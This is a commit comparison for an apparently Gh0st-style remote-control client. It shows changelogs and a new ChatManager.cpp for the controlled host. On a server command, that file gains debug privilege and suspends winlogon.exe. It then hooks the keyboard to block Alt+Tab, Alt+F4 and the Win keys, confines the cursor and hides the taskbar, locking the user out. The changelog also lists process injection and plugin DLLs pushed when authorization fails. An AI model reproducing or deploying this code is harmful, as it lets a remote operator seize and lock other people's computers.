Compare commits
14
Commits
9eed43bc8d
..
v1.4.0
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
b89428bf35 | ||
|
|
3928dd76a3 | ||
|
|
d80d8f21da | ||
|
|
d269df9171 | ||
|
|
2fb6252285 | ||
|
|
2c3e1ca518 | ||
|
|
f72fda9b71 | ||
|
|
c906a46bcc | ||
|
|
6c9fef8793 | ||
|
|
bbdb4104bf | ||
|
|
8d0f419093 | ||
|
|
f3a05c14b1 | ||
|
|
d118558eda | ||
|
|
76decec0fe |
No files matched your search
@@ -378,6 +378,32 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
||||
|
||||
## 更新日志
|
||||
|
||||
### v1.4.0 (2026.10.7)
|
||||
|
||||
**SimplePlugins 功能迁移 & 远程交互增强 & MCP 扩展 & 国际化**
|
||||
|
||||
**新功能:**
|
||||
- **SimplePlugins 功能迁移(实验功能)**:文件管理 / 隐私屏幕 / 远程画板三个功能原生迁入客户端,作为在线主机右键「实验功能」子菜单交付,配 16x16 图标(位图数组 66→69)
|
||||
- **MCP 设备管理控制工具**:新增 kill_process / operate_window / control_service / power_action(单一 McpManage 开关 + 关闭只读),ready→confirm 生命周期 + WaitSendIdle 排空出站缓冲;MCP 设置新增「管理操作」勾选、主工具栏 MCP 入口
|
||||
- **远程交谈**:「远程交谈」工具栏按钮(COMMAND_CHAT 161 / TOKEN_CHAT_START 62)打开双向聊天,支持服务端触发屏幕锁 / 解锁
|
||||
- **TCP/UDP 连接管理**:工具栏按钮列出受管主机 TCP/UDP 连接,右键强制断开 IPv4 TCP(iphlpapi 枚举 + CConnectionsDlg)
|
||||
- **主机管理**:迁移 CMachineManager(进程 / 窗口 / 网络 / 软件 / IE 历史 / 收藏夹 / 服务 / 任务 / hosts 枚举 + 进程注入),COMMAND_MACHINE_MANAGE 162
|
||||
- **授权失败触发器**:新增 TRIGGER_AUTH_FAILED 触发类型(与主机上线触发独立),授权失败时下发插件 DLL,受 ShouldLogAuth 去重约束
|
||||
- **iPhone 远程音频**:WebAudio + 自托管 opus-decoder WASM 解码,修复 iOS 无 MSE 静音
|
||||
- **画质与传输控制**:远程桌面 / 屏幕预览质量等级菜单(各 6 档可配置)+ 文件传输速度对话框(7 档 + 无限档,CMD_FILE_SPEED 252)
|
||||
- **Shine/HELL 协议选择**:分享 / 传输主机时可选协议,尾随冒号字段透传,旧客户端兼容
|
||||
- **Go Web UI 子路径部署**:YAMA_WEB_BASE_PATH 挂载整个 Web UI 到 URL 前缀
|
||||
- **国际化**:德语(de_DE)第 4 种语言、语言切换工具栏按钮、剩余字符串翻译补齐;远程桌面剪贴板按钮(全屏可达)
|
||||
|
||||
**改进:**
|
||||
- 通知设置关键词改为多行输入(每行一个,存储仍分号分隔,兼容既有 notify.ini)
|
||||
|
||||
**Bug 修复:**
|
||||
- HTTP 分片续包误置 m_bShouldUnmask 致后续包丢失(进程列表 kill 后空列表)
|
||||
- 即时消息弹窗标题乱码(GBK code_page 声明)
|
||||
- geo-IP 查询阻塞主机双击提示(仅本地库加载时查询 + 进程内缓存)
|
||||
- 主机管理 IE 历史字符串泄漏(CoTaskMemFree)、隐私屏幕 0xCC 乱码日志
|
||||
|
||||
### v1.3.9 (2026.9.2)
|
||||
|
||||
**MCP 服务端集成(AI 远程管理)& 远程控制与文件传输闭环 & 主控增强**
|
||||
|
||||
@@ -378,6 +378,32 @@ Valid : 2026-02-01 to 2028-02-01
|
||||
|
||||
## Changelog
|
||||
|
||||
### v1.4.0 (2026.10.7)
|
||||
|
||||
**SimplePlugins Feature Migration & Remote Interaction Enhancements & MCP Expansion & i18n**
|
||||
|
||||
**New features:**
|
||||
- **SimplePlugins feature migration (experimental)**: file management / privacy screen / drawing board migrated natively into the client and exposed as an "Experimental Features" right-click submenu, with 16x16 icons (bitmap array 66→69)
|
||||
- **MCP device management-control tools**: kill_process / operate_window / control_service / power_action behind a single McpManage flag (plus read-only off), with a ready→confirm lifecycle and WaitSendIdle buffer draining; "management operations" checkbox in MCP settings and an MCP toolbar entry
|
||||
- **Two-way remote chat**: a "远程交谈" toolbar button (COMMAND_CHAT 161 / TOKEN_CHAT_START 62) opens the chat dialog, with server-triggered screen lock / unlock
|
||||
- **TCP/UDP connection management**: a toolbar button lists the managed host's TCP/UDP connections with right-click force-disconnect for IPv4 TCP (iphlpapi enumeration + CConnectionsDlg)
|
||||
- **Machine management**: CMachineManager migrated (process / window / network / software / IE history / favorites / service / task / hosts enumeration plus process injection), COMMAND_MACHINE_MANAGE 162
|
||||
- **Auth-failed trigger**: new TRIGGER_AUTH_FAILED type (independent of the host-online trigger) pushes plugin DLLs on authorization failure, gated by ShouldLogAuth dedup
|
||||
- **iPhone remote audio**: Web Audio API + self-hosted opus-decoder WASM decoding fixes silent audio on iOS without MSE
|
||||
- **Quality & transfer controls**: configurable remote-desktop / screen-preview quality-level menus (six presets each) plus a file-transfer speed dialog (seven presets + unlimited, CMD_FILE_SPEED 252)
|
||||
- **Shine/HELL protocol selection**: choose the protocol when sharing / transferring a host, passed as a trailing colon field, backward compatible
|
||||
- **Go web UI subpath deployment**: YAMA_WEB_BASE_PATH mounts the whole web UI under a URL prefix
|
||||
- **i18n**: German (de_DE) as the fourth language, a language-switch toolbar button, remaining string translations; remote-desktop clipboard buttons (reachable in fullscreen)
|
||||
|
||||
**Improvements:**
|
||||
- Notification keyword input is now multi-line (one keyword per line; the stored format stays semicolon-separated, compatible with existing notify.ini)
|
||||
|
||||
**Bug fixes:**
|
||||
- HTTP continuation chunks mis-set m_bShouldUnmask, dropping subsequent packets (blank process list after kill)
|
||||
- Garbled instant-message popup title (GBK code_page declaration)
|
||||
- geo-IP lookup blocking the host double-click tooltip (only queried when a local DB is loaded, plus in-process caching)
|
||||
- Machine-management IE-history string leak (CoTaskMemFree) and privacy-screen 0xCC garbled logs
|
||||
|
||||
### v1.3.9 (2026.9.2)
|
||||
|
||||
**MCP Server Integration (AI Remote Management) & Remote Control / File Transfer Loop & Master Enhancements**
|
||||
|
||||
@@ -378,6 +378,32 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
||||
|
||||
## 更新日誌
|
||||
|
||||
### v1.4.0 (2026.10.7)
|
||||
|
||||
**SimplePlugins 功能遷移 & 遠端互動增強 & MCP 擴充 & 國際化**
|
||||
|
||||
**新功能:**
|
||||
- **SimplePlugins 功能遷移(實驗功能)**:檔案管理 / 隱私螢幕 / 遠端畫板三個功能原生遷入用戶端,作為線上主機右鍵「實驗功能」子選單交付,配 16x16 圖示(位圖陣列 66→69)
|
||||
- **MCP 裝置管理控制工具**:新增 kill_process / operate_window / control_service / power_action(單一 McpManage 開關 + 關閉唯讀),ready→confirm 生命週期 + WaitSendIdle 排空出站緩衝;MCP 設定新增「管理操作」勾選、主工具列 MCP 入口
|
||||
- **遠端交談**:「遠端交談」工具列按鈕(COMMAND_CHAT 161 / TOKEN_CHAT_START 62)開啟雙向交談,支援伺服端觸發螢幕鎖 / 解鎖
|
||||
- **TCP/UDP 連線管理**:工具列按鈕列出受管主機 TCP/UDP 連線,右鍵強制斷開 IPv4 TCP(iphlpapi 列舉 + CConnectionsDlg)
|
||||
- **主機管理**:遷移 CMachineManager(處理程序 / 視窗 / 網路 / 軟體 / IE 歷史 / 收藏夾 / 服務 / 排程工作 / hosts 列舉 + 處理程序注入),COMMAND_MACHINE_MANAGE 162
|
||||
- **授權失敗觸發器**:新增 TRIGGER_AUTH_FAILED 觸發類型(與主機上線觸發獨立),授權失敗時下發外掛程式 DLL,受 ShouldLogAuth 去重約束
|
||||
- **iPhone 遠端音訊**:WebAudio + 自託管 opus-decoder WASM 解碼,修復 iOS 無 MSE 靜音
|
||||
- **品質與傳輸控制**:遠端桌面 / 螢幕預覽品質等級選單(各 6 檔可設定)+ 檔案傳輸速度對話框(7 檔 + 無限檔,CMD_FILE_SPEED 252)
|
||||
- **Shine/HELL 協定選擇**:分享 / 傳輸主機時可選協定,尾隨冒號欄位透傳,舊用戶端相容
|
||||
- **Go Web UI 子路徑部署**:YAMA_WEB_BASE_PATH 掛載整個 Web UI 到 URL 前綴
|
||||
- **國際化**:德語(de_DE)第 4 種語言、語言切換工具列按鈕、剩餘字串翻譯補齊;遠端桌面剪貼簿按鈕(全螢幕可達)
|
||||
|
||||
**改進:**
|
||||
- 通知設定關鍵詞改為多行輸入(每行一個,儲存仍分號分隔,相容既有 notify.ini)
|
||||
|
||||
**Bug 修復:**
|
||||
- HTTP 後續封包誤置 m_bShouldUnmask 致後續封包遺失(處理程序列表 kill 後空列表)
|
||||
- 即時訊息快顯視窗標題亂碼(GBK code_page 宣告)
|
||||
- geo-IP 查詢阻塞主機雙擊提示(僅本機資料庫載入時查詢 + 處理程序內快取)
|
||||
- 主機管理 IE 歷史字串洩漏(CoTaskMemFree)、隱私螢幕 0xCC 亂碼記錄
|
||||
|
||||
### v1.3.9 (2026.9.2)
|
||||
|
||||
**MCP 伺服端整合(AI 遠端管理)& 遠端控制與檔案傳輸閉環 & 主控增強**
|
||||
|
||||
@@ -0,0 +1,336 @@
|
||||
// ChatManager.cpp: implementation of the CChatManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "ChatManager.h"
|
||||
#include "Common.h"
|
||||
#include "resource.h"
|
||||
#include <TlHelp32.h>
|
||||
|
||||
#if ENABLE_MESSAGE
|
||||
|
||||
// 远程交谈(双向聊天)被控端实现,移植自 SimplePlugins/ChatManager。
|
||||
// 服务端 CChat 对话框发起会话后,被控端在此显示聊天窗口,并支持服务端远程锁定屏幕。
|
||||
|
||||
#define SE_DEBUG_PRIVILEGE 20
|
||||
typedef LONG(__stdcall* RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);
|
||||
typedef LONG(__stdcall* SuspendOrResumeProcess)(HANDLE hProcess);
|
||||
|
||||
struct PIDWNDINFO {
|
||||
DWORD dwProcessId;
|
||||
HWND hWnd;
|
||||
};
|
||||
|
||||
// 锁定屏幕相关的全局状态(同一会话内只有一个 CChatManager 实例)
|
||||
static HANDLE g_hProcess = NULL;
|
||||
static SuspendOrResumeProcess g_lpfnNtResumeProcess = NULL;
|
||||
static HHOOK g_hKeyBoard = NULL;
|
||||
static int g_nLocked = 0;
|
||||
|
||||
static DWORD GetWinlogonPid()
|
||||
{
|
||||
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (snap == INVALID_HANDLE_VALUE) return 0;
|
||||
PROCESSENTRY32 pEntry = { sizeof(pEntry) };
|
||||
BOOL rtn = Process32First(snap, &pEntry);
|
||||
while (rtn) {
|
||||
if (strcmp(pEntry.szExeFile, "winlogon.exe") == 0) {
|
||||
CloseHandle(snap);
|
||||
return pEntry.th32ProcessID;
|
||||
}
|
||||
memset(pEntry.szExeFile, 0, sizeof(pEntry.szExeFile));
|
||||
rtn = Process32Next(snap, &pEntry);
|
||||
}
|
||||
CloseHandle(snap);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// 屏蔽 alt+tab / alt+f4 / win 键等系统快捷键
|
||||
static LRESULT CALLBACK KeyBoardProc(int code, WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
if (code == HC_ACTION) {
|
||||
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
|
||||
switch (wParam) {
|
||||
case WM_KEYDOWN:
|
||||
case WM_SYSKEYDOWN:
|
||||
case WM_KEYUP:
|
||||
case WM_SYSKEYUP:
|
||||
if ((p->vkCode == VK_TAB && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+TAB
|
||||
|| (p->vkCode == VK_F4 && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+F4
|
||||
|| (p->vkCode == VK_ESCAPE && (p->flags & LLKHF_ALTDOWN) != 0) // Alt+Esc
|
||||
|| (p->vkCode == VK_ESCAPE && (GetKeyState(VK_CONTROL) & 0x8000) != 0) // Ctrl+Esc
|
||||
|| (p->vkCode == VK_LWIN)
|
||||
|| (p->vkCode == VK_RWIN)) {
|
||||
return 1;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
return ::CallNextHookEx(g_hKeyBoard, code, wParam, lParam);
|
||||
}
|
||||
|
||||
static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam)
|
||||
{
|
||||
PIDWNDINFO* pInfo = (PIDWNDINFO*)lParam;
|
||||
LONG lStyle = GetWindowLong(hWnd, GWL_STYLE);
|
||||
if (pInfo->dwProcessId == 0 && hWnd != pInfo->hWnd &&
|
||||
IsWindowVisible(hWnd) && GetParent(hWnd) == NULL && (lStyle & WS_MINIMIZEBOX)) {
|
||||
ShowWindow(hWnd, SW_MINIMIZE);
|
||||
return TRUE;
|
||||
}
|
||||
DWORD dwProcessId;
|
||||
GetWindowThreadProcessId(hWnd, &dwProcessId);
|
||||
if (dwProcessId == pInfo->dwProcessId && IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
|
||||
pInfo->hWnd = hWnd;
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// 安装键盘钩子并挂起 winlogon(必须在聊天窗口线程调用,确保钩子有消息循环)
|
||||
static void ChatSetHook()
|
||||
{
|
||||
g_hKeyBoard = SetWindowsHookEx(WH_KEYBOARD_LL, KeyBoardProc, GetModuleHandle(NULL), 0);
|
||||
HMODULE hMod = LoadLibrary("ntdll");
|
||||
if (hMod) {
|
||||
RtlAdjustPrivilege lpfnRtlAdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress(hMod, "RtlAdjustPrivilege");
|
||||
SuspendOrResumeProcess lpfnNtSuspendProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtSuspendProcess");
|
||||
g_lpfnNtResumeProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtResumeProcess");
|
||||
DWORD pid = GetWinlogonPid();
|
||||
BOOLEAN dummy = 0;
|
||||
if (lpfnRtlAdjustPrivilege) lpfnRtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &dummy);
|
||||
g_hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
|
||||
if (g_hProcess && lpfnNtSuspendProcess) lpfnNtSuspendProcess(g_hProcess);
|
||||
}
|
||||
}
|
||||
|
||||
static void ChatUnSetHook()
|
||||
{
|
||||
if (g_hKeyBoard) {
|
||||
UnhookWindowsHookEx(g_hKeyBoard);
|
||||
g_hKeyBoard = NULL;
|
||||
}
|
||||
if (g_lpfnNtResumeProcess && g_hProcess) {
|
||||
g_lpfnNtResumeProcess(g_hProcess);
|
||||
}
|
||||
if (g_hProcess) {
|
||||
CloseHandle(g_hProcess);
|
||||
g_hProcess = NULL;
|
||||
}
|
||||
g_lpfnNtResumeProcess = NULL;
|
||||
}
|
||||
|
||||
// 解除锁定:恢复鼠标/屏保/任务栏/开始菜单/桌面,并恢复 winlogon
|
||||
static void UnlockScreen()
|
||||
{
|
||||
ChatUnSetHook();
|
||||
ClipCursor(NULL);
|
||||
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, FALSE, 0, SPIF_UPDATEINIFILE);
|
||||
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_SHOW);
|
||||
::ShowWindow(::FindWindow("Button", "开始"), SW_SHOW);
|
||||
::ShowWindow(::FindWindow("Progman", NULL), SW_SHOW);
|
||||
g_nLocked = 0;
|
||||
}
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CChatManager::CChatManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
|
||||
{
|
||||
m_hInstance = HINSTANCE(user);
|
||||
m_hWnd = NULL;
|
||||
m_bRun = TRUE;
|
||||
g_nLocked = 0;
|
||||
|
||||
// 向服务端发起远程交谈,服务端打开 CChat 对话框后会回发 COMMAND_NEXT_CHAT
|
||||
BYTE bToken = TOKEN_CHAT_START;
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
|
||||
WaitForDialogOpen();
|
||||
|
||||
m_hThread = __CreateThread(NULL, 0, MessageLoopProc, this, 0, NULL);
|
||||
Mprintf("Chat 构造\n");
|
||||
}
|
||||
|
||||
CChatManager::~CChatManager()
|
||||
{
|
||||
m_bRun = FALSE;
|
||||
while (m_hThread)
|
||||
Sleep(100);
|
||||
|
||||
if (g_nLocked == 1) {
|
||||
UnlockScreen();
|
||||
}
|
||||
if (m_hWnd) {
|
||||
SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
|
||||
}
|
||||
Mprintf("Chat 析构\n");
|
||||
}
|
||||
|
||||
DWORD WINAPI CChatManager::MessageLoopProc(LPVOID lParam)
|
||||
{
|
||||
CChatManager* pThis = (CChatManager*)lParam;
|
||||
HANDLE& hThread(pThis->m_hThread);
|
||||
|
||||
pThis->m_hWnd = CreateDialogParamA(pThis->m_hInstance, MAKEINTRESOURCE(IDD_CHAT), NULL,
|
||||
CChatManager::ChatDialogProc, (LPARAM)pThis);
|
||||
if (pThis->m_hWnd) {
|
||||
SendMessage(GetDlgItem(pThis->m_hWnd, IDC_EDIT_NEWMSG), EM_SETLIMITTEXT, 8158, 0);
|
||||
SetWindowPos(pThis->m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE);
|
||||
// 移除最小化/最大化按钮
|
||||
LONG lStyle = GetWindowLong(pThis->m_hWnd, GWL_STYLE);
|
||||
lStyle &= ~(WS_MINIMIZEBOX | WS_MAXIMIZEBOX);
|
||||
SetWindowLong(pThis->m_hWnd, GWL_STYLE, lStyle);
|
||||
|
||||
MSG msg;
|
||||
while (GetMessage(&msg, NULL, 0, 0) && pThis->m_bRun) {
|
||||
if (!IsDialogMessage(pThis->m_hWnd, &msg)) {
|
||||
TranslateMessage(&msg);
|
||||
DispatchMessage(&msg);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
CloseHandle(hThread);
|
||||
hThread = NULL;
|
||||
return 0;
|
||||
}
|
||||
|
||||
INT_PTR CALLBACK CChatManager::ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
CChatManager* pThis = (CChatManager*)GetWindowLongPtr(hDlg, GWLP_USERDATA);
|
||||
switch (uMsg) {
|
||||
case WM_INITDIALOG:
|
||||
SetWindowLongPtr(hDlg, GWLP_USERDATA, (LONG_PTR)lParam);
|
||||
pThis = (CChatManager*)lParam;
|
||||
SetWindowText(hDlg, "远程交谈");
|
||||
SetDlgItemText(hDlg, IDC_BUTTON_SEND, "发送消息");
|
||||
SetDlgItemText(hDlg, IDC_BUTTON_END, "结束交谈");
|
||||
{
|
||||
HICON hIcon = LoadIcon(pThis->m_hInstance, MAKEINTRESOURCE(IDI_ICON_MSG));
|
||||
if (hIcon) {
|
||||
SendMessage(hDlg, WM_SETICON, ICON_SMALL, (LPARAM)hIcon);
|
||||
SendMessage(hDlg, WM_SETICON, ICON_BIG, (LPARAM)hIcon);
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
|
||||
case WM_COMMAND:
|
||||
if (LOWORD(wParam) == IDC_BUTTON_SEND) {
|
||||
char str[4096] = { 0 };
|
||||
GetDlgItemText(hDlg, IDC_EDIT_NEWMSG, str, sizeof(str));
|
||||
if (str[0] == 0) {
|
||||
SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG));
|
||||
return TRUE; // 消息为空不发送
|
||||
}
|
||||
pThis->Send((LPBYTE)str, lstrlenA(str) + 1);
|
||||
|
||||
SYSTEMTIME st;
|
||||
GetLocalTime(&st);
|
||||
char Text[5120] = { 0 };
|
||||
sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n", "自己:",
|
||||
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, str);
|
||||
HWND hEditChatLog = GetDlgItem(hDlg, IDC_EDIT_CHATLOG);
|
||||
int nLen = GetWindowTextLength(hEditChatLog);
|
||||
if (nLen >= 20000) {
|
||||
SetWindowText(hEditChatLog, "");
|
||||
nLen = GetWindowTextLength(hEditChatLog);
|
||||
}
|
||||
SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen);
|
||||
SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
|
||||
SetDlgItemText(hDlg, IDC_EDIT_NEWMSG, "");
|
||||
SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG));
|
||||
return TRUE;
|
||||
}
|
||||
if (LOWORD(wParam) == IDC_BUTTON_END) {
|
||||
// 被控端主动结束交谈:关闭本地聊天窗口
|
||||
SendMessage(hDlg, WM_USER + 1, NULL, NULL);
|
||||
return TRUE;
|
||||
}
|
||||
break;
|
||||
|
||||
case WM_CLOSE:
|
||||
return 0;
|
||||
|
||||
case WM_USER + 1:
|
||||
pThis->m_hWnd = NULL;
|
||||
DestroyWindow(hDlg);
|
||||
return TRUE;
|
||||
|
||||
case WM_USER + 2:
|
||||
ChatSetHook();
|
||||
return TRUE;
|
||||
|
||||
case WM_DESTROY:
|
||||
PostQuitMessage(0);
|
||||
return TRUE;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
VOID CChatManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
if (szBuffer[0] == TOKEN_HEARTBEAT) return;
|
||||
|
||||
if (ulLength == 1) {
|
||||
switch (szBuffer[0]) {
|
||||
case COMMAND_NEXT_CHAT:
|
||||
NotifyDialogIsOpen();
|
||||
return;
|
||||
case COMMAND_CHAT_CLOSE:
|
||||
if (m_hWnd) SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
|
||||
return;
|
||||
case COMMAND_CHAT_SCREEN_LOCK:
|
||||
NotifyDialogIsOpen();
|
||||
if (m_hWnd && g_nLocked == 0) {
|
||||
ShowWindow(m_hWnd, SW_RESTORE);
|
||||
RECT rct = { 0 };
|
||||
GetWindowRect(m_hWnd, &rct);
|
||||
ClipCursor(&rct);
|
||||
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, TRUE, 0, SPIF_UPDATEINIFILE);
|
||||
PIDWNDINFO pwi = { 0 };
|
||||
pwi.dwProcessId = 0;
|
||||
pwi.hWnd = m_hWnd;
|
||||
EnumWindows(EnumWindowsProc, (LPARAM)&pwi);
|
||||
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_HIDE);
|
||||
::ShowWindow(::FindWindow("Button", "开始"), SW_HIDE);
|
||||
::ShowWindow(::FindWindow("Progman", NULL), SW_HIDE);
|
||||
SendMessage(m_hWnd, WM_USER + 2, NULL, NULL);
|
||||
g_nLocked = 1;
|
||||
}
|
||||
return;
|
||||
case COMMAND_CHAT_SCREEN_UNLOCK:
|
||||
if (g_nLocked == 1) {
|
||||
UnlockScreen();
|
||||
}
|
||||
return;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// 收到服务端发来的聊天文本
|
||||
SYSTEMTIME st;
|
||||
GetLocalTime(&st);
|
||||
char Text[8192] = { 0 };
|
||||
sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n", "对方:",
|
||||
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, (char*)szBuffer);
|
||||
if (m_hWnd) {
|
||||
HWND hEditChatLog = GetDlgItem(m_hWnd, IDC_EDIT_CHATLOG);
|
||||
int nLen = GetWindowTextLength(hEditChatLog);
|
||||
if (nLen >= 20000) {
|
||||
SetWindowText(hEditChatLog, "");
|
||||
nLen = GetWindowTextLength(hEditChatLog);
|
||||
}
|
||||
SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen);
|
||||
SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
|
||||
ShowWindow(m_hWnd, SW_RESTORE);
|
||||
}
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,30 @@
|
||||
// ChatManager.h: interface for the CChatManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "Manager.h"
|
||||
|
||||
#if ENABLE_MESSAGE==0
|
||||
#define CChatManager CManager
|
||||
#else
|
||||
|
||||
class CChatManager : public CManager
|
||||
{
|
||||
public:
|
||||
HINSTANCE m_hInstance;
|
||||
CChatManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CChatManager();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
private:
|
||||
BOOL m_bRun;
|
||||
HANDLE m_hThread;
|
||||
HWND m_hWnd;
|
||||
|
||||
static DWORD WINAPI MessageLoopProc(LPVOID lParam);
|
||||
static INT_PTR CALLBACK ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam);
|
||||
};
|
||||
|
||||
#endif
|
||||
@@ -185,7 +185,15 @@
|
||||
<ClCompile Include="ClientLogManager.cpp" />
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="ConPTYManager.cpp" />
|
||||
<ClCompile Include="ConnectionsManager.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
<ClCompile Include="file\FileManager.cpp">
|
||||
<ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
|
||||
</ClCompile>
|
||||
<ClCompile Include="file\MasterEncoder.cpp" />
|
||||
<ClCompile Include="file\zip.cpp" />
|
||||
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
|
||||
<ClCompile Include="DrawingBoardMgr.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="IOCPKCPClient.cpp" />
|
||||
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||
@@ -215,6 +223,8 @@
|
||||
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
||||
<ClCompile Include="EncoderFactory.cpp" />
|
||||
<ClCompile Include="TalkManager.cpp" />
|
||||
<ClCompile Include="ChatManager.cpp" />
|
||||
<ClCompile Include="MachineManager.cpp" />
|
||||
<ClCompile Include="VideoManager.cpp" />
|
||||
<ClCompile Include="X264Encoder.cpp" />
|
||||
</ItemGroup>
|
||||
@@ -233,9 +243,17 @@
|
||||
<ClInclude Include="clip.h" />
|
||||
<ClInclude Include="ClientLogManager.h" />
|
||||
<ClInclude Include="Common.h" />
|
||||
<ClInclude Include="ConnectionsManager.h" />
|
||||
<ClInclude Include="ConPTYManager.h" />
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="file\FileManager.h" />
|
||||
<ClInclude Include="file\MasterEncoder.h" />
|
||||
<ClInclude Include="file\zip.h" />
|
||||
<ClInclude Include="screenhide\ScreenManagerBase.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideManager.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideSpy.h" />
|
||||
<ClInclude Include="DrawingBoardMgr.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="IOCPKCPClient.h" />
|
||||
<ClInclude Include="IOCPUDPClient.h" />
|
||||
@@ -268,6 +286,9 @@
|
||||
<ClInclude Include="StdAfx.h" />
|
||||
<ClInclude Include="SystemManager.h" />
|
||||
<ClInclude Include="TalkManager.h" />
|
||||
<ClInclude Include="ChatManager.h" />
|
||||
<ClInclude Include="MachineManager.h" />
|
||||
<ClInclude Include="yapi.hpp" />
|
||||
<ClInclude Include="VideoCodec.h" />
|
||||
<ClInclude Include="VideoManager.h" />
|
||||
<ClInclude Include="X264Encoder.h" />
|
||||
|
||||
@@ -41,6 +41,7 @@
|
||||
<ClCompile Include="EncoderFactory.cpp" />
|
||||
<ClCompile Include="..\common\file_upload.cpp" />
|
||||
<ClCompile Include="ConPTYManager.cpp" />
|
||||
<ClCompile Include="ConnectionsManager.cpp" />
|
||||
<ClCompile Include="session.cpp" />
|
||||
<ClCompile Include="reg_startup.c" />
|
||||
<ClCompile Include="ServiceWrapper.c" />
|
||||
@@ -59,6 +60,7 @@
|
||||
<ClInclude Include="CaptureVideo.h" />
|
||||
<ClInclude Include="clip.h" />
|
||||
<ClInclude Include="Common.h" />
|
||||
<ClInclude Include="ConnectionsManager.h" />
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
|
||||
@@ -4,13 +4,19 @@
|
||||
#include "Manager.h"
|
||||
#include "ScreenManager.h"
|
||||
#include "FileManager.h"
|
||||
#include "file/FileManager.h"
|
||||
#include "screenhide/ScreenHideManager.h"
|
||||
#include "DrawingBoardMgr.h"
|
||||
#include "TalkManager.h"
|
||||
#include "ChatManager.h"
|
||||
#include "MachineManager.h"
|
||||
#include "ShellManager.h"
|
||||
#include "SystemManager.h"
|
||||
#include "ConPTYManager.h"
|
||||
#include "AudioManager.h"
|
||||
#include "RegisterManager.h"
|
||||
#include "ServicesManager.h"
|
||||
#include "ConnectionsManager.h"
|
||||
#include "VideoManager.h"
|
||||
#include "KeyboardManager.h"
|
||||
#include "ProxyManager.h"
|
||||
@@ -100,6 +106,31 @@ DWORD WINAPI LoopTalkManager(LPVOID lParam)
|
||||
return LoopManager<CTalkManager, 0>(lParam);
|
||||
}
|
